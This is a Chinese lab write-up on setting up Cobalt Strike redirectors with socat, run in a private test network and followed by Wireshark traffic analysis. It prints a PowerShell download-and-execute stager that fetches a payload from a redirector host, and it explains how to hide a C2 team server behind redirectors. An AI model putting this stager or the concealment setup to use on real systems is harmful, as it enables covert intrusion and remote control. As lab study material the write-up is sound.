我认为,无论是学习安全还是从事安全的人多多少少都会有些许的情怀和使命感!!!
文章目录
- 一、Cobalt Strike 重定器
- 1、Cobalt Strike 重定器简介
- 2、重定器用到的端口转发工具
- 二、cobalt strike重定器实验
- 1、实验背景
- 2、实验过程
- 3、流量分析
一、Cobalt Strike 重定器
1、Cobalt Strike 重定器简介
(1)重定器简介
“重定器”是一个在“cobalt strike”服务器和目标网络之间的服务器。这个“重定器”的作用是对你团队服务器下的连接进行任意的连接或返回。(注:即通常说的代理服务器或端口转发工具),“重定器”服务(在攻击和防御中)是很重要的角色。
(2)重定器功能
第一 保护team server团队服务器地址,并作为攻击者,它也是一个很好的安全操作。
第二 它给予了热冗余备份能力,假如你的众多重定器中有一两个堵塞了没有大不了的,还可以通过其他的重定器进行通信。
(3)重定器拓扑
Windows Server 2019 | kali | Ubunt1 | Ubunt2 | Windows Server 2008 |
---|---|---|---|---|
充当DSN服务器 | 充当team server团队服务器 | 充当重定器1(即代理服务器1) | 充当重定器2(即代理服务器2) | 充当靶机 |
2、重定器用到的端口转发工具
工具socat是一款端口重定向工具,我们用它来建立80端口上的连接管理,并且继续在80端口运行那个连接团队服务器的连接。(即监听本地80端口,把向本地80的连接请求转发给teamserver团队服务器的80)
充当重定器的linux系统上的命令:socat TCP4-LISTEN:80,fork TCP4:[team server]:80
二、cobalt strike重定器实验
1、实验背景
(1)网络环境:NAT
(1)dns服务器 windows server2019: 192.168.97.19
(2)team server服务器 kali:192.168.97.129
(3)重定器1 ubuntu14:192.168.97.202
(4)重定器2 ubuntu16:192.168.97.203
(5)靶机 windows server 2008:192.168.97.131
(2)DNS服务器:Windows Server 2019
第一步:新建域名 team.com
添加一个a记录测试是否成功:ceshi.team.com 192.168.97.19
第二步:然后添加以下a记录
Teamserver:192.168.97.129 t.team.com
ubuntu跳板 1:192.168.97.202 r1.team.com
ubuntu跳板2: 192.168.97.203 r2.team.com
(3)team server团队服务器:kali linux
vim /etc/network/interfaces
vim /etc/resolv.conf
(4)重定器1:Ubuntu14.04.5
(5)重定器2:Ubuntu16.04.3
(6)靶机:Windows Server 2008
2、实验过程
(1)kali开启teamserver团队服务器:./teamserver 192.168.97.129 123456
//注意:这里要用IP地址,不能使用域名
(2)本地连接teamserver团队服务器:./cobaltstrike
//注意:这里不再新开虚拟机充当攻击者团队成员了,直接使用kali本地连接到teamserver,因为一样都是在团队服务器上操作。
(3)所有ubuntu跳板开启端口转发:socat TCP4-LISTEN:80,fork TCP4:ts.team.com:80
//解释1:TCP4-LISTEN:80是监听本地的80端口
//解释2:fork TCP4:t.team.com:80是把监听到的本地端口的连接重定向到teamserver的80端口
//总结:只要是对跳板机的80请求,都会重定向到teamserver,因此在以后的监听器和攻击载荷配置的时候基本上可以把跳板当作teamserver来配置的时候进行配置。(具体操作在下面)
//如下图所示:
(4)测试重定向是否成功:
第一步:在team server上打开cs 的web日志浏览器
//如下图所示:点击View选项卡,选择Web Log
第二步:在dns服务器的火狐浏览器上访问http://r1.team.com/r1
//如下图所示:此时r1接收到dns服务器发来的80请求,r1通过socat把80请求重定向到team server,因此team server会记录到来自r1的请求。
第三步:在dns服务器的火狐浏览器访问http://r2.team.com/r2
//如下图所示:此时r2接收到dns服务器发来的80请求,r2通过socat会把80请求重定向到team server,因此team server会记录到来自r2的请求。
(5)配置监听器注意事项
注意1:监听器的的第一个host填写team server真实地址
注意2:监听器的的第二个host填写team server所有重定器地址
附:生成攻击载荷的时候host填写任意一个team server的重定器地址(只是为了提供下载),从而隐藏真正的team server地址。
(6)配置监听器
//如下图所示:这里的host填写的是beacon的真实地址,也就是teamserver团队服务器的地址
//如下图所示:其中英文This beacon uses HTTP to check for taskings.Please provide thedomains to use for beaconing.The A record for these domainsmust point to your Cobalt strike system. An lP address is OK.separate each host or domain with a comma.的翻译如下:此信标使用HTTP检查任务。请提供用于信标的域。这些域的A记录必须指向您的Cobalt打击系统。IP地址可以。用逗号分隔每个主机或域。(因此:这里填写的是指向teamserver团队服务器的众多重定器)
(7)生成payload攻击载荷:使用脚本web传递
//如下图所示:生成攻击载荷的时候host填写任意一个team server的重定器地址(只是为了提供下载),从而隐藏真正的team server地址。
//如下图所示:保存下来payload powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://r2.team.com:80/a'))"
(8)靶机运行payload:powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://r2.team.com:80/a'))"
//如下图所示:在靶机上运行payload
//如下图所示:在team server的web日志上记录了跳板r2向team server的请求(实际为靶机向r2请求,r2转到了team server)
(9)team server上移除会话,断开r2跳板机的socat端口转发,靶机重新使用一次payload,测试冗余功能
//如下图所示:team server移除连接
//如下图所示:断开r2跳板机的socat端口转发
//如下图所示:靶机再次运行一次payload
//如下图所示:team server上面只记录到了r1和靶机之间的连接(实际上是靶机向r1发起连接,让r1转发到了team server)
3、流量分析
(1)在team server服务器打开wireshark,查看流量走向:
//如下图所示:有虚实两种线,是区别两个TCP连接,由于在抓包的过程中,他的包顺序可能会混乱,因此我们分别追踪167的TCP流和174的TCP流,再去加以分析。
//如下所示:追踪167的TCP流,发现是167到185,是靶机和r1之间的连接
//如下图解释1:167到169是靶机和r1之间的TCP三次握手,靶机的49321端口和r1的80端口之间建立了连接;
//如下图解释2:170到173是靶机和r1之间的http连接;
//如下图解释3:183到184是r2和team server之间的TCP三次握手(本该是四次,这里把FIN和ACK合并了),断开TCP连接;
//如下图所示:追踪174的TCP流,发现是174到187,是r1和team server之间的连接
//如下图解释1:174到176是r1跳板和team server之间经过三次握手建立的TCP连接
//如下图解释2:177到179是r1跳板和team server之间的HTTP连接
//如下图解释3:180-181-186-187是r1跳板和team server之间四次挥手,断开TCP连接
(2)移除team server上建立的会话,等待再次连接后,重新查看流量走向,与team server上的命令查看的端口记录对照:
//如下图所示:r1跳板的40314和team server的80端口进行了连接并断开
//如下图所示:在team server上存在记录
(3)把r2跳板的socat端口转发打开,再次查看流量走向:
//如下图所示:发现靶机和r2也有连接
//如下图所示:r2和team server也有连接
(4)为了验证第13条中的结论,也就是r1和r2都和靶机有连接,我们此时把team server上的会话sleep设置为5,也就是每5秒交互一次,此时观察team server的视图,会发现在5秒后r1和r2在替换